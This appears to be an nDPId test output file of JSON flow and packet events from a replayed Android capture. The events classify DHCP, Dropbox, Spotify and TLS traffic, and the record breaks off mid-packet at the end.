+00491{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454780,"pkt_ts_usec":612355,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"xGGLNYKpxiwDYGpkCABFAgBiArsAAC4GBN0R+LBLwKgCEQG7xZQAd+\/fhij6wYAYBTCNMgAAAQEIClsVzl8R3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8Q=="} +00470{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454780,"pkt_ts_usec":612849,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAgBTArwAAC4GBOsR+LBLwKgCEQG7xZQAd\/ANhij6wYAZBTCw2QAAAQEIClsVzl8R3+\/bFQMDABoAAAAAAAAACeuqoxCRLc0dnl7lMGJ\/SkF\/RQ=="} +00532{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454780,"pkt_ts_usec":907526,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAr0AAC4GBL4R+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTC0SwAAAQEIClsVz4YR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00532{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454781,"pkt_ts_usec":531283,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAr4AAC4GBL0R+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTCx2wAAAQEIClsV0fYR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00530{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454781,"pkt_ts_usec":788994,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQsAAC4GWm8R+LBLwKgCEQG7xZj0WotEsqX09IAZBCqzzQAAAQEIClsV0vcR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00533{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454782,"pkt_ts_usec":747560,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAr8AAC4GBLwR+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTCtGwAAAQEIClsV1rYR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00530{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454784,"pkt_ts_usec":220076,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQwAAC4GWm4R+LBLwKgCEQG7xZj0WotEsqX09IAZBCqqTgAAAQEIClsV3HYR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"android.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1582454784313,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454784,"pkt_ts_usec":313816,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDQAAP8RQnEAAAAA\/\/\/\/\/wBEAEMBNI1GAQEGAHhURwsAAAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00558{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"android.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1582454784313,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00534{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454785,"pkt_ts_usec":114944,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAsAAAC4GBLsR+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTCj2wAAAQEIClsV3\/YR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00808{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454786,"pkt_ts_usec":281820,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDUAAP8RQnAAAAAA\/\/\/\/\/wBEAEMBNI1EAQEGAHhURwsAAgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"android.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1582454787658,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.185.10","dst_ip":"192.168.2.17","src_port":443,"dst_port":50702,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454787,"pkt_ts_usec":658770,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAgBThkMAADAGdqQR+LkKwKgCEQG7xg7EYLJptSIfH4AYBDV85QAAAQEIChoMpyQR4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00423{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454787,"pkt_ts_usec":658773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0hkQAADAGdsQR+LkKwKgCEQG7xg7EYLKItSIfH4ARBDUyJQAAAQEIChoMpyQR4cyf"} +00466{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454788,"pkt_ts_usec":86408,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAABThkUAADAGdqQR+LkKwKgCEQG7xg7EYLJptSIfH4AZBDV7OQAAAQEIChoMqM8R4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00467{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454788,"pkt_ts_usec":982673,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAABThkYAADAGdqMR+LkKwKgCEQG7xg7EYLJptSIfH4AZBDV3uQAAAQEIChoMrE8R4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00808{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454789,"pkt_ts_usec":207570,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDYAAP8RQm8AAAAA\/\/\/\/\/wBEAEMBNI1BAQEGAHhURwsABQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00530{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454789,"pkt_ts_usec":276418,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQ0AAC4GWm0R+LBLwKgCEQG7xZj0WotEsqX09IAZBCqWjQAAAQEIClsV8DcR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00533{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454789,"pkt_ts_usec":787671,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAsEAAC4GBLoR+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTCRmwAAAQEIClsV8jYR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00467{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454790,"pkt_ts_usec":710174,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAABThkcAADAGdqIR+LkKwKgCEQG7xg7EYLJptSIfH4AZBDVw+QAAAQEIChoMsw8R4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"android.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454792980,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01083{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454792,"pkt_ts_usec":980209,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIangkAAEARVHnAqAIBwKgC\/0RcRFwCBr34eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAzMzA0MDI2MjQwMTMxNjcxMTI3MTc3MTQ1ODMyOTcxNTM2ODg0ODIsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODEwNTkxNzYwLCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAyODUyMTYwNywgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgOTk0Njk3NzMsIDcwNzk2MzY2ODgsIDE3Njk2NDMwNywgMTI1NTQwNTY2LCAxMDQ3NDI4MTg5LCA0NzE2MTkwMDQ4LCA1NDY3MTYzMDg4LCAxMTk1MDQ0MDcxLCA5Njg1MzIyNCwgMTc2MDk5NjMsIDY0NzgzMDM0NDAsIDUxMTcwNjY0MiwgNjI5Nzk1NTE4NCwgMTQxNTYyMDM1MF19"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"android.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454792980,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00808{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454793,"pkt_ts_usec":758718,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDcAAP8RQm4AAAAA\/\/\/\/\/wBEAEMBNI09AQEGAHhURwsACQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00467{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454794,"pkt_ts_usec":102756,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAABThkgAADAGdqER+LkKwKgCEQG7xg7EYLJptSIfH4AZBDVjuQAAAQEIChoMwE8R4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"android.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1582454796360,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454796,"pkt_ts_usec":360694,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABIV+oAAEARnGrAqAIBwKgC\/+EV4RUANNgcU3BvdFVkcDDcFXQoLlJiTAABAARIlcIDokHeIIm5eNggVkvVDJHA6KPmCng="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"android.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1582454796360,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00528{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454799,"pkt_ts_usec":4089,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQ4AAC4GWmwR+LBLwKgCEQG7xZj0WotEsqX09IAZBCpwjQAAAQEIClsWFjcR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00533{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454799,"pkt_ts_usec":515347,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBAsIAAC4GBLkR+LBLwKgCEQG7xZQAd+\/fhij6wYAZBTBrmwAAAQEIClsWGDYR3+\/bFwMDACkAAAAAAAAACH\/oI1Kw++l3rtTYoEdnoXbMNGznM5xRQS6qcOaP89cv8RUDAwAaAAAAAAAAAAnrqqMQkS3NHZ5e5TBif0pBf0U="} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":32,"source":"android.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454792980,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":32,"source":"android.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1582454796360,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454801,"pkt_ts_usec":77955,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAABThkkAADAGdqAR+LkKwKgCEQG7xg7EYLJptSIfH4AZBDVIeQAAAQEIChoM248R4cyfFQMDABoAAAAAAAAAArlWa60ADWOMgYlfYrlhFGv+Kg=="} +00808{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454802,"pkt_ts_usec":453429,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDgAAP8RQm0AAAAA\/\/\/\/\/wBEAEMBNI00AQEGAHhURwsAEgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00808{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454811,"pkt_ts_usec":217599,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDkAAP8RQmwAAAAA\/\/\/\/\/wBEAEMBNI0rAQEGAHhURwsAGwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00808{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454819,"pkt_ts_usec":289636,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDoAAP8RQmsAAAAA\/\/\/\/\/wBEAEMBNI0jAQEGAHhURwsAIwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEB